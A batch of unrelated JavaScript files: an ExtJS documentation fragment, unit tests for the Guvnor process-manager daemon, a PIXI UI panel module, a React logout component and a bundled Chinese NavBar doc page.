current class' name in string format.</p>\n\n<pre><code>Ext.define('My.cool.Class', {\n constructor: function() {\n alert(this.self.getName()); // alerts 'My.cool.Class'\n }\n});\n\nMy.cool.Class.getName(); // 'My.cool.Class'\n</code></pre>\n<h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a></span><div class='sub-desc'><p>className</p>\n</div></li></ul></div></div></div><div id='static-method-implement' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-static-method-implement' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-static-method-implement' class='name expandable'>implement</a>( <span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a> members</span> )<strong class='static-signature'>static</strong></div><div class='description'><div class='short'>Add methods / properties to the prototype of this class. ...</div><div class='long'><p>Add methods / properties to the prototype of this class.</p>\n\n<pre><code>Ext.define('My.awesome.Cat', {\n constructor: function() {\n ...\n }\n});\n\n My.awesome.Cat.implement({\n meow: function() {\n alert('Meowww...');\n }\n });\n\n var kitty = new My.awesome.Cat;\n kitty.meow();\n</code></pre>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>members</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a><div class='sub-desc'>\n</div></li></ul></div></div></div><div id='static-method-override' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-static-method-override' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-static-method-override' class='name expandable'>override</a>( <span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a> members</span> ) : <a href=\"#!/api/Ext.Base\" rel=\"Ext.Base\" class=\"docClass\">Ext.Base</a><strong class='static-signature'>static</strong></div><div class='description'><div class='short'>Override prototype members of this class. ...</div><div class='long'><p>Override prototype members of this class. Overridden methods can be invoked via\n<a href=\"#!/api/Ext.Base-method-callOverridden\" rel=\"Ext.Base-method-callOverridden\" class=\"docClass\">callOverridden</a></p>\n\n<pre><code>Ext.define('My.Cat', {\n constructor: function() {\n alert(\"I'm a cat!\");\n\n return this;\n }\n});\n\nMy.Cat.override({\n constructor: function() {\n alert(\"I'm going to be a cat!\");\n\n var instance = this.callOverridden();\n\n alert(\"Meeeeoooowwww\");\n\n return instance;\n }\n});\n\nvar kitty = new My.Cat(); // alerts \"I'm going to be a cat!\"\n // alerts \"I'm a cat!\"\n // alerts \"Meeeeoooowwww\"\n</code></pre>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>members</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a><div class='sub-desc'>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Ext.Base\" rel=\"Ext.Base\" class=\"docClass\">Ext.Base</a></span><div class='sub-desc'><p>this</p>\n</div></li></ul></div></div></div></div></div></div></div>","allMixins":[],"meta":{},"requires":[],"deprecated":null,"extends":"Ext.Template","inheritable":false,"static":false,"superclasses":["Ext.Base","Ext.Template","Ext.XTemplate"],"singleton":false,"code_type":"ext_define","alias":null,"statics":{"property":[],"css_var":[],"css_mixin":[],"cfg":[],"method":[{"tagname":"method","deprecated":null,"static":true,"owner":"Ext.Base","template":false,"required":null,"protected":false,"name":"addStatics","id":"static-method-addStatics"},{"tagname":"method","deprecated":null,"static":true,"owner":"Ext.Base","template":false,"required":null,"protected":false,"name":"borrow","id":"static-method-borrow"},{"tagname":"method","deprecated":null,"static":true,"owner":"Ext.Base","template":false,"required":null,"protected":false,"name":"create","id":"static-method-create"},{"tagname":"method","deprecated":null,"static":true,"owner":"Ext.Base","template":false,"required":null,"protected":false,"name":"createAlias","id":"static-method-createAlias"},{"tagname":"method","deprecated":null,"static":true,"owner":"Ext.Template","template":false,"required":null,"protected":false,"name":"from","id":"static-method-from"},{"tagname":"method","deprecated":null,"static":true,"owner":"Ext.Base","template":false,"required":null,"protected":false,"name":"getName","id":"static-method-getName"},{"tagname":"method","deprecated":null,"static":true,"owner":"Ext.Base","template":false,"required":null,"protected":false,"name":"implement","id":"static-method-implement"},{"tagname":"method","deprecated":null,"static":true,"owner":"Ext.Base","template":false,"required":null,"protected":false,"name":"override","id":"static-method-override"}],"event":[]},"subclasses":[],"uses":[],"protected":false,"mixins":[],"members":{"property":[{"tagname":"property","deprecated":null,"static":false,"owner":"Ext.Base","template":null,"required":null,"protected":true,"name":"self","id":"property-self"}],"css_var":[],"css_mixin":[],"cfg":[{"tagname":"cfg","deprecated":null,"static":false,"owner":"Ext.XTemplate","template":null,"required":false,"protected":false,"name":"codeRe","id":"cfg-codeRe"},{"tagname":"cfg","deprecated":null,"static":false,"owner":"Ext.XTemplate","template":null,"required":false,"protected":false,"name":"compiled","id":"cfg-compiled"},{"tagname":"cfg","deprecated":null,"static":false,"owner":"Ext.Template","template":null,"required":false,"protected":false,"name":"disableFormats","id":"cfg-disableFormats"}],"method":[{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Template","template":false,"required":null,"protected":false,"name":"constructor","id":"method-constructor"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Template","template":false,"required":null,"protected":false,"name":"append","id":"method-append"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Template","template":false,"required":null,"protected":false,"name":"apply","id":"method-apply"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Template","template":false,"required":null,"protected":false,"name":"applyTemplate","id":"method-applyTemplate"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Base","template":false,"required":null,"protected":true,"name":"callOverridden","id":"method-callOverridden"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Base","template":false,"required":null,"protected":true,"name":"callParent","id":"method-callParent"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.XTemplate","template":false,"required":null,"protected":false,"name":"compile","id":"method-compile"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Base","template":false,"required":null,"protected":true,"name":"initConfig","id":"method-initConfig"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Template","template":false,"required":null,"protected":false,"name":"insertAfter","id":"method-insertAfter"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Template","template":false,"required":null,"protected":false,"name":"insertBefore","id":"method-insertBefore"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Template","template":false,"required":null,"protected":false,"name":"insertFirst","id":"method-insertFirst"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Template","template":false,"required":null,"protected":false,"name":"overwrite","id":"method-overwrite"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Template","template":false,"required":null,"protected":false,"name":"set","id":"method-set"},{"tagname":"method","deprecated":null,"static":false,"owner":"Ext.Base","template":false,"required":null,"protected":true,"name":"statics","id":"method-statics"}],"event":[]},"private":false,"component":false,"name":"Ext.XTemplate","alternateClassNames":[],"id":"class-Ext.XTemplate","mixedInto":[],"xtypes":{},"files":[{"href":"XTemplate.html#Ext-XTemplate","filename":"XTemplate.js"}]});
var expect = require('chai').expect, sinon = require('sinon'), inherits = require('util').inherits, Guvnor = require('../../../lib/daemon/Guvnor'), ProcessInfo = require('../../../lib/daemon/domain/ProcessInfo'), EventEmitter = require('events').EventEmitter process.setMaxListeners(0) describe('Guvnor', function () { var guvnor, exit beforeEach(function () { exit = process.exit process.exit = sinon.stub() guvnor = new Guvnor() guvnor._logger = { info: sinon.stub(), warn: sinon.stub(), error: sinon.stub(), debug: sinon.stub() } guvnor._processService = { startProcess: sinon.stub(), listProcesses: sinon.stub(), findByPid: sinon.stub(), findById: sinon.stub(), findByName: sinon.stub(), on: sinon.stub(), killAll: sinon.stub(), removeProcess: sinon.stub() } guvnor._cpuStats = sinon.stub() guvnor._config = { guvnor: {} } guvnor._os = { uptime: sinon.stub(), freemem: sinon.stub(), totalmem: sinon.stub(), cpus: sinon.stub(), hostname: sinon.stub() } guvnor._nodeInspectorWrapper = { stopNodeInspector: sinon.stub() } guvnor._fs = { writeFile: sinon.stub(), readFile: sinon.stub() } guvnor._processInfoStore = { save: sinon.stub(), saveSync: sinon.stub(), all: sinon.stub(), find: sinon.stub() } guvnor._remoteUserService = { findOrCreateUser: sinon.stub(), createUser: sinon.stub(), removeUser: sinon.stub(), listUsers: sinon.stub(), rotateKeys: sinon.stub() } guvnor._processInfoStoreFactory = { create: sinon.stub() } guvnor._pem = { createCertificate: sinon.stub() } guvnor._ini = { parse: sinon.stub(), stringify: sinon.stub() } guvnor._appService = { deploy: sinon.stub(), remove: sinon.stub(), list: sinon.stub(), switchRef: sinon.stub(), listRefs: sinon.stub(), findByName: sinon.stub(), updateRefs: sinon.stub() } guvnor._etc_passwd = { getGroups: sinon.stub() } guvnor._posix = { getgrnam: sinon.stub(), getpwnam: sinon.stub() } }) afterEach(function () { process.exit = exit }) it('should return a list of running processes', function (done) { var processes = [] var numProcesses = Math.floor(Math.random() * 20) // Create new process mocks for (var i = 0; i < numProcesses; i++) { processes.push({ status: 'running', script: 'foo.js', remote: { reportStatus: function (callback) { setTimeout(function () { callback(undefined, { pid: Math.floor(Math.random() * 138) }) }, Math.floor(Math.random() * 4)) } } }) } guvnor._processService.listProcesses.returns(processes) // Method under test guvnor.listProcesses({}, function (error, procs) { expect(error).to.not.exist expect(procs.length).to.equal(processes.length) done() }) }) it("should return a list of running processes, even if a process doesn't reply", function (done) { this.timeout(10000) var processes = [] var numProcesses = Math.floor(Math.random() * 20) // Create new process mocks for (var i = 0; i < numProcesses; i++) { processes.push({ status: 'running', script: 'foo.js', remote: { reportStatus: function (callback) { var error = new Error('Timed out') error.code = 'TIMEOUT' callback(error) } } }) } processes.push({ status: 'paused', script: 'foo.js' }) guvnor._processes = processes guvnor._processService.listProcesses.returns(processes) // Method under test guvnor.listProcesses({}, function (error, procs) { expect(error).to.not.exist expect(procs.length).to.be.equal(processes.length) done() }) }) it('should delegate to process manger to start a process', function () { guvnor.startProcess({}, 'script', 'options', 'callback') expect(guvnor._processService.startProcess.calledWith('script', 'options', 'callback')).to.be.true }) it('should return server status', function (done) { guvnor._config.remote = { inspector: { enabled: false } } guvnor._cpuStats.callsArgWith(0, undefined, [6, 7]) guvnor._os.uptime.returns(5) guvnor._os.freemem.returns(5) guvnor._os.totalmem.returns(5) guvnor._os.cpus.returns([{}, {}]) guvnor._etc_passwd.getGroups.callsArgWith(0, undefined, [{groupname: 'foo'}, {groupname: '_bar'}]) guvnor._posix.getgrnam.withArgs('foo').returns({members: ['baz', '_quux']}) guvnor._posix.getgrnam.withArgs('_bar').returns({members: ['qux']}) guvnor.getServerStatus({}, function (error, status) { expect(error).to.not.exist expect(status.time).to.be.a('number') expect(status.uptime).to.be.a('number') expect(status.freeMemory).to.be.a('number') expect(status.totalMemory).to.be.a('number') expect(status.cpus).to.be.an('array') expect(status.debuggerPort).to.not.exist expect(status.cpus[0].load).to.equal(6) expect(status.cpus[1].load).to.equal(7) done() }) }) it('should return server status with debug port', function (done) { guvnor._config.remote = { inspector: { enabled: true } } guvnor._cpuStats.callsArgWith(0, undefined, []) guvnor._os.uptime.returns(5) guvnor._os.freemem.returns(5) guvnor._os.totalmem.returns(5) guvnor._os.cpus.returns([]) guvnor._nodeInspectorWrapper.debuggerPort = 5 guvnor._etc_passwd.getGroups.callsArgWith(0, undefined, []) guvnor.getServerStatus({}, function (error, status) { expect(error).to.not.exist expect(status.time).to.be.a('number') expect(status.uptime).to.be.a('number') expect(status.freeMemory).to.be.a('number') expect(status.totalMemory).to.be.a('number') expect(status.cpus).to.be.an('array') expect(status.debuggerPort).to.equal(5) done() }) }) it('should find a process by id', function (done) { guvnor._processService.findById.withArgs('foo').returns('bar') guvnor.findProcessInfoById({}, 'foo', function (error, process) { expect(error).to.not.exist expect(process).to.equal('bar') done() }) }) it('should find a process by pid', function (done) { guvnor._processService.findByPid.withArgs('foo').returns('bar') guvnor.findProcessInfoByPid({}, 'foo', function (error, process) { expect(error).to.not.exist expect(process).to.equal('bar') done() }) }) it('should find a process by name', function (done) { guvnor._processService.findByName.withArgs('foo').returns('bar') guvnor.findProcessInfoByName({}, 'foo', function (error, process) { expect(error).to.not.exist expect(process).to.equal('bar') done() }) }) it('should dump processes', function (done) { guvnor._processInfoStore.save.callsArg(0) guvnor.dumpProcesses({}, function (error) { expect(error).to.not.exist expect(guvnor._processInfoStore.save.callCount).to.equal(1) done() }) }) it('should restore processes', function (done) { var store = new EventEmitter() store.all = sinon.stub() store.all.returns([{script: 'foo'}, {script: 'bar'}]) guvnor._processInfoStoreFactory.create.withArgs(['processInfoFactory', 'processes.json'], sinon.match.func).callsArgWith(1, undefined, store) guvnor._processService.startProcess.callsArg(2) guvnor.restoreProcesses({}, function (error, processes) { expect(error).to.not.exist expect(processes.length).to.equal(2) done() }) // triggers invocation of callback passed to restoreProcesses store.emit('loaded') }) it('should return remote host config', function (done) { guvnor._config.guvnor = { user: 'foo' } guvnor._config.remote = { port: 5 } guvnor._os.hostname.returns('bar') guvnor._remoteUserService.findOrCreateUser.withArgs('foo', sinon.match.func).callsArgWith(1, undefined, { secret: 'shhh' }) guvnor.remoteHostConfig({}, function (error, hostname, port, user, secret) { expect(error).to.not.exist expect(hostname).to.equal('bar') expect(port).to.equal(5) expect(user).to.equal('foo') expect(secret).to.equal('shhh') done() }) }) it('should add a remote user', function (done) { guvnor._remoteUserService.createUser.withArgs('foo', sinon.match.func).callsArgWith(1, undefined, 'great success') guvnor.addRemoteUser({}, 'foo', function (error, result) { expect(error).to.not.exist expect(result).to.equal('great success') done() }) }) it('should remove a remote user', function (done) { guvnor._config.guvnor = { user: 'foo' } guvnor._remoteUserService.removeUser.withArgs('notFoo', sinon.match.func).callsArgWith(1, undefined, 'great success') guvnor.removeRemoteUser({}, 'notFoo', function (error, result) { expect(error).to.not.exist expect(result).to.equal('great success') done() }) }) it('should refuse to remove remote daemon user', function (done) { guvnor._config.guvnor = { user: 'foo' } guvnor.removeRemoteUser({}, 'foo', function (error) { expect(error).to.be.ok expect(error.code).to.equal('WILLNOTREMOVEGUVNORUSER') done() }) }) it('should list remote users', function (done) { guvnor._remoteUserService.listUsers.withArgs(sinon.match.func).callsArgWith(0, undefined, 'great success') guvnor.listRemoteUsers({}, function (error, result) { expect(error).to.not.exist expect(result).to.equal('great success') done() }) }) it('should rotate remote keys', function (done) { guvnor._remoteUserService.rotateKeys.withArgs('foo', sinon.match.func).callsArgWith(1, undefined, 'great success') guvnor.rotateRemoteUserKeys({}, 'foo', function (error, result) { expect(error).to.not.exist expect(result).to.equal('great success') done() }) }) it('should delegate to app service for deploying applications', function () { var name = 'name' var url = 'url' var user = 'user' var onOut = 'onOut' var onErr = 'onErr' var callback = 'callback' guvnor.deployApplication({}, name, url, user, onOut, onErr, callback) expect(guvnor._appService.deploy.calledWith(name, url, user, onOut, onErr, callback)).to.be.true }) it('should delegate to app service for removing applications', function () { var name = 'name' var callback = 'callback' guvnor.removeApplication({}, name, callback) expect(guvnor._appService.remove.calledWith(name, callback)).to.be.true }) it('should delegate to app service for listing applications', function () { var callback = 'callback' guvnor.listApplications({}, callback) expect(guvnor._appService.list.calledWith(callback)).to.be.true }) it('should delegate to app service for switching application refs', function () { var name = 'name' var ref = 'ref' var onOut = 'onOut' var onErr = 'onErr' var callback = 'callback' guvnor.switchApplicationRef({}, name, ref, onOut, onErr, callback) expect(guvnor._appService.switchRef.calledWith(name, ref, onOut, onErr)).to.be.true }) it('should delegate to app service for updating application refs', function () { var name = 'name' var ref = 'ref' var onOut = 'onOut' var onErr = 'onErr' var callback = 'callback' guvnor.updateApplicationRefs({}, name, onOut, onErr, callback) expect(guvnor._appService.updateRefs.calledWith(name, onOut, onErr)).to.be.true }) it('should delegate to app service for listing application refs', function () { var name = 'name' var callback = 'callback' guvnor.listApplicationRefs({}, name, callback) expect(guvnor._appService.listRefs.calledWith(name, callback)).to.be.true }) it('should generate ssl keys', function (done) { var config = { guvnor: { confdir: 'conf' } } guvnor._config.guvnor.confdir = 'conf' guvnor._pem.createCertificate.callsArgWith(1, undefined, { serviceKey: 'key', certificate: 'cert' }) guvnor._fs.writeFile.withArgs('conf/rpc.key', 'key').callsArg(3) guvnor._fs.writeFile.withArgs('conf/rpc.cert', 'cert').callsArg(3) guvnor._fs.readFile.withArgs('conf/guvnor', 'utf-8').callsArgWith(2, undefined, 'ini') guvnor._ini.parse.withArgs('ini').returns(config) guvnor._ini.stringify.withArgs(config).returns('ini-updated') guvnor._fs.writeFile.withArgs('conf/guvnor', 'ini-updated').callsArg(3) guvnor.generateRemoteRpcCertificates({}, 10, function (error, path) { expect(error).to.not.exist expect(path).to.equal('conf/guvnor') done() }) }) it('should not write files if generating ssl keys fails', function (done) { guvnor._pem.createCertificate.callsArgWith(1, new Error('urk!')) guvnor.generateRemoteRpcCertificates({}, 10, function (error) { expect(error).to.be.ok expect(guvnor._fs.writeFile.called).to.be.false done() }) }) it('should not read config if writing key/cert files fails', function (done) { guvnor._config.guvnor.confdir = 'conf' guvnor._pem.createCertificate.callsArgWith(1, undefined, { serviceKey: 'key', certificate: 'cert' }) guvnor._fs.writeFile.withArgs('conf/rpc.key', 'key').callsArg(3) guvnor._fs.writeFile.withArgs('conf/rpc.cert', 'cert').callsArgWith(3, new Error('urk!')) guvnor.generateRemoteRpcCertificates({}, 10, function (error) { expect(error).to.be.ok expect(guvnor._fs.readFile.called).to.be.false done() }) }) it('should not write config if reading config fails', function (done) { guvnor._config.guvnor.confdir = 'conf' guvnor._pem.createCertificate.callsArgWith(1, undefined, { serviceKey: 'key', certificate: 'cert' }) guvnor._fs.writeFile.withArgs('conf/rpc.key', 'key').callsArg(3) guvnor._fs.writeFile.withArgs('conf/rpc.cert', 'cert').callsArg(3) guvnor._fs.readFile.withArgs('conf/guvnor', 'utf-8').callsArgWith(2, new Error('urk!'), 'ini') guvnor.generateRemoteRpcCertificates({}, 10, function (error) { expect(error).to.be.ok expect(guvnor._fs.writeFile.calledWith('conf/guvnor')).to.be.false done() }) }) it('should kill the daemon', function () { guvnor._config.guvnor.autoresume = false guvnor._kill = sinon.stub().callsArg(0) var callback = sinon.stub() guvnor.kill({}, callback) expect(callback.called).to.be.true expect(process.exit.called).to.be.true }) it('should delegate to process service for removing processes', function (done) { var id = 'foo' guvnor._processService.removeProcess.callsArg(1) guvnor.removeProcess({}, id, function () { expect(guvnor._processService.removeProcess.calledWith(id)).to.be.true done() }) }) it('should override script, app and name with app details', function (done) { var script = 'foo' var appInfo = { path: 'bar', id: 'baz', name: 'qux' } guvnor._appService.findByName.withArgs(script).returns(appInfo) guvnor._processService.startProcess.callsArg(2) guvnor.startProcess({}, script, {}, function () { expect(guvnor._processService.startProcess.getCall(0).args[1].script).to.equal(appInfo.path) expect(guvnor._processService.startProcess.getCall(0).args[1].app).to.equal(appInfo.id) expect(guvnor._processService.startProcess.getCall(0).args[1].name).to.equal(appInfo.name) done() }) }) it('should start process as different user', function (done) { var script = 'foo' var options = 'opts' guvnor._processService.startProcess.callsArg(2) guvnor.startProcessAsUser({}, script, options, function () { expect(guvnor._processService.startProcess.getCall(0).args[0]).to.equal(script) expect(guvnor._processService.startProcess.getCall(0).args[1]).to.equal(options) done() }) }) it('should autoresume processes', function (done) { var processes = ['foo'] guvnor._config.guvnor.autoresume = true guvnor._processInfoStore.all.returns(processes) guvnor._processService.startProcess.callsArg(1) guvnor.afterPropertiesSet(function () { expect(guvnor._processService.startProcess.getCall(0).args[0]).to.equal(processes[0]) done() }) }) it('should survive autoresumed processes failing to resume', function (done) { var processes = ['foo', 'bar'] guvnor._config.guvnor.autoresume = true guvnor._processInfoStore.all.returns(processes) guvnor._processService.startProcess.withArgs('foo').callsArgWith(1, new Error('urk')) guvnor._processService.startProcess.withArgs('bar').callsArg(1) guvnor.afterPropertiesSet(function () { expect(guvnor._processService.startProcess.getCall(0).args[0]).to.equal(processes[0]) expect(guvnor._processService.startProcess.getCall(1).args[0]).to.equal(processes[1]) done() }) }) it('should not autoresume processes', function (done) { var processes = ['foo'] guvnor._config.guvnor.autoresume = false guvnor._processInfoStore.all.returns(processes) guvnor._processService.startProcess.callsArg(1) guvnor.afterPropertiesSet(function () { expect(guvnor._processService.startProcess.called).to.be.false done() }) }) it('should list users', function (done) { var groups = [{ groupname: 'foo' }, { groupname: '_bar' }, { groupname: 'baz' }] var qux = { name: 'qux', uid: 'qux-uid', gid: 'qux-gid' } var garply = { name: 'garply', uid: 'garply-uid', gid: 'garply-gid' } var group = { name: 'group' } guvnor._posix.getgrnam.withArgs(qux.gid).returns(group) guvnor._posix.getgrnam.withArgs(garply.gid).returns(group) guvnor._etc_passwd.getGroups.callsArgWith(0, undefined, groups) guvnor._posix.getgrnam.withArgs('foo').returns({ members: ['qux', '_quux'] }) guvnor._posix.getgrnam.withArgs('baz').returns({ members: ['qux', 'garply'] }) guvnor._posix.getpwnam.withArgs('qux').returns(qux) guvnor._posix.getpwnam.withArgs('garply').returns(garply) guvnor.listUsers(null, function (error, users) { expect(error).to.not.exist expect(users.length).to.equal(2) expect(users[0].name).to.equal(qux.name) expect(users[0].group).to.equal(group.name) expect(users[0].groups).to.deep.equal(['foo', 'baz', 'group']) expect(users[1].name).to.equal(garply.name) expect(users[1].group).to.equal(group.name) expect(users[1].groups).to.deep.equal(['baz', 'group']) expect(users[0].groups).to.contain(users[0].group) done() }) }) it('should stop a process', function (done) { var user = { name: 'user' } var processInfo = { id: 'id', status: 'starting', user: user.name, process: { emit: sinon.stub(), kill: sinon.stub() } } guvnor._processService.findById.withArgs(processInfo.id).returns(processInfo) guvnor.stopProcess(user, processInfo.id, function (error) { expect(error).to.not.exist expect(processInfo.process.emit.calledWith('process:stopping')).to.be.true expect(processInfo.process.kill.called).to.be.true done() }) }) it('should not stop a running process', function (done) { var user = { name: 'user' } var processInfo = { id: 'id', status: 'running', user: user.name, process: { emit: sinon.stub(), kill: sinon.stub() } } guvnor._processService.findById.withArgs(processInfo.id).returns(processInfo) guvnor.stopProcess(user, processInfo.id, function (error) { expect(error.message).to.contain('running') expect(processInfo.process.kill.called).to.be.false done() }) }) it('should not stop a non-existant process', function (done) { var user = { name: 'user' } guvnor._processService.findById.returns(null) guvnor.stopProcess(user, 'foo', function (error) { expect(error.message).to.contain('No process found') done() }) }) it('should not stop a process that belongs to a different user', function (done) { var user = { name: 'user', group: 'group', groups: ['groups'] } var processInfo = { id: 'id', status: 'starting', user: 'foo', group: 'bar', process: { emit: sinon.stub(), kill: sinon.stub() } } guvnor._processService.findById.withArgs(processInfo.id).returns(processInfo) guvnor.stopProcess(user, processInfo.id, function (error) { expect(error.code).to.equal('EPERM') expect(processInfo.process.kill.called).to.be.false done() }) }) it('should stop a process when called by guvnor user', function (done) { guvnor._config.guvnor.user = 'user' var user = { name: guvnor._config.guvnor.user } var processInfo = { id: 'id', status: 'starting', user: 'other', process: { emit: sinon.stub(), kill: sinon.stub() } } guvnor._processService.findById.withArgs(processInfo.id).returns(processInfo) guvnor.stopProcess(user, processInfo.id, function (error) { expect(error).to.not.exist expect(processInfo.process.emit.calledWith('process:stopping')).to.be.true expect(processInfo.process.kill.called).to.be.true done() }) }) it('should not stop an uninitialised process', function (done) { guvnor._config.guvnor.user = 'user' var user = { name: guvnor._config.guvnor.user } var processInfo = { id: 'id', status: 'starting', user: 'other', process: { emit: sinon.stub() } } guvnor._processService.findById.withArgs(processInfo.id).returns(processInfo) guvnor.stopProcess(user, processInfo.id, function (error) { expect(error.message).to.contain('Could not kill') expect(processInfo.process.emit.calledWith('process:stopping')).to.be.false done() }) }) })
/** * Unit Panel UI module * * @module UnitPanel * @extends Panel * @see module:Panel * @see {@link https://github.com/VovanR/lol-ui|GitHub} * @author VovanR <[email protected]> * @version 0.0.0 */ define([ 'lodash', 'pixi', 'panel', 'unitPanelItem', ], function ( _, PIXI, Panel, UnitPanelItem ) { 'use strict'; var defaultOptions = { }; /** * @param {Object} [o] Options * @param {Object} [o.position] * @param {Number} [o.position.x=0] * @param {Number} [o.position.y=0] * @param {Number} [o.width=0] width of panel * @param {Number} [o.height=0] height of panel * @param {String} [o.background='./unit-panel-bgr.png'] background of panel * @constructor * @alias module:UnitPanel */ var UnitPanel = function (o) { Panel.call(this, o || {}); this._itemMargin = 10; this._itemWidth = 200; this._childrens = []; this._initialize(); }; // constructor UnitPanel.prototype = Object.create(Panel.prototype); UnitPanel.prototype.constructor = UnitPanel; /** * Initialize * * @private */ UnitPanel.prototype._initialize = function () { console.info('UnitPanel initialize'); this._draw(); }; /** * Added child to panel content * * @param {PIXI.Graphics} child * @private */ UnitPanel.prototype._addChild = function (child) { this._content.addChild(child); }; /** * Returns next item index number * * @return {Number} nextIndex * @private */ UnitPanel.prototype._getNextIndex = function () { var nextIndex = this._childrens.length + 1; return nextIndex; }; /** * Returns next item position * * @return {Object} nextPosition { x: {Number}, y: {Number} } * @private */ UnitPanel.prototype._getNextPosition = function () { var margin = this._itemMargin; var x = (margin + this._itemWidth) * this._childrens.length + margin; var nextPosition = { x: x, y: margin, }; return nextPosition; }; /** * Adds unit panel item * * @param {Object} o Options * @param {String} o.id * @param {Number} o.helth * @param {Number} o.strength */ UnitPanel.prototype.addUnit = function (o) { var item = new UnitPanelItem({ id: o.id, index: this._getNextIndex(), position: this._getNextPosition(), helth: o.helth, strength: o.strength, }); this._childrens.push(item); this._addChild(item.getShape()); }; return UnitPanel; });
import { Component } from 'react' import Auth from './Auth' import toastr from 'toastr' class LogoutPage extends Component { componentWillMount () { Auth.deauthenticateUser() Auth.removeUser() toastr.success('You have successfully logged out!') this.props.history.push('/quiz-learner/') } render () { return null } } export default LogoutPage
webpackJsonp([113,157],{653:function(t,e){t.exports={content:["section",["p","\u4f4d\u4e8e app \u5185\u5bb9\u533a\u7684\u4e0a\u65b9\uff0c\u7cfb\u7edf\u72b6\u6001\u680f\u7684\u4e0b\u65b9\uff0c\u5e76\u4e14\u63d0\u4f9b\u5728\u4e00\u7cfb\u5217\u9875\u9762\u4e2d\u7684\u5bfc\u822a\u80fd\u529b\u3002"],["h3","\u89c4\u5219"],["ul",["li",["p","\u53ef\u5728\u5bfc\u822a\u680f\u4e2d\u663e\u793a\u5f53\u524d\u89c6\u56fe\u7684\u6807\u9898\u3002\u5982\u679c\u6807\u9898\u975e\u5e38\u5197\u957f\u4e14\u65e0\u6cd5\u7cbe\u7b80\uff0c\u53ef\u4ee5\u7a7a\u7f3a\u3002"]],["li",["p","\u53ef\u5728\u5bfc\u822a\u680f\u4e2d\u4f7f\u7528 SegmentedControl \u5bf9\u5185\u5bb9\u8fdb\u884c\u5c42\u7ea7\u5212\u5206\u3002"]],["li",["p","\u907f\u514d\u7528\u8fc7\u591a\u7684\u5143\u7d20\u586b\u6ee1\u5bfc\u822a\u680f\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u4e00\u4e2a\u300e\u8fd4\u56de\u6309\u94ae\u300f\u3001\u4e00\u4e2a\u300e\u6807\u9898\u300f\u3001\u4e00\u4e2a\u300e\u5f53\u524d\u89c6\u56fe\u7684\u63a7\u4ef6\u300f\u5c31\u8db3\u591f\u4e86\uff1b\u5982\u679c\u5df2\u7ecf\u6709\u4e86 SegmentedControl \uff0c\u4e00\u822c\u53ea\u642d\u914d\u4e00\u4e2a\u300e\u8fd4\u56de\u6309\u94ae\u300f\u6216\u8005\u300e\u5f53\u524d\u89c6\u56fe\u7684\u63a7\u4ef6\u300f\u3002"]],["li",["p","\u4e3a\u56fe\u6807\u548c\u6587\u5b57\u63a7\u4ef6\uff0c\u63d0\u4f9b\u66f4\u5927\u7684\u70b9\u51fb\u70ed\u533a\u3002"]]]],meta:{category:"Components",type:"Navigation",title:"NavBar",subtitle:"\u5bfc\u822a\u680f",filename:"components/nav-bar/index.zh-CN.md"},toc:["ul",["li",["a",{className:"bisheng-toc-h2",href:"#API",title:"API"},"API"]]],api:["section",["h2","API"],["p","\u9002\u7528\u5e73\u53f0\uff1aWEB"],["table",["thead",["tr",["th","\u5c5e\u6027"],["th","\u8bf4\u660e"],["th","\u7c7b\u578b"],["th","\u9ed8\u8ba4\u503c"]]],["tbody",["tr",["td","children"],["td","\u5bfc\u822a\u5185\u5bb9"],["td","any"],["td","\u65e0"]],["tr",["td","mode"],["td","\u5bfc\u822a\u6a21\u5f0f"],["td","string"],["td","'dark' enum{'dark', 'light'}"]],["tr",["td","iconName"],["td","\u5de6\u8fb9\u7684 icon name (\u8bbe\u7f6e\u4e3a false/null \u4e0d\u6e32\u67d3\u6b64\u56fe\u6807)"],["td","string/false/null"],["td","'left'"]],["tr",["td","leftContent"],["td","\u5bfc\u822a\u5de6\u8fb9\u5185\u5bb9"],["td","any"],["td","\u65e0"]],["tr",["td","rightContent"],["td","\u5bfc\u822a\u53f3\u8fb9\u5185\u5bb9"],["td","any"],["td","\u65e0"]],["tr",["td","onLeftClick"],["td","\u5bfc\u822a\u5de6\u8fb9\u70b9\u51fb\u56de\u8c03"],["td","(e: Object): void"],["td","\u65e0"]]]]]}}});
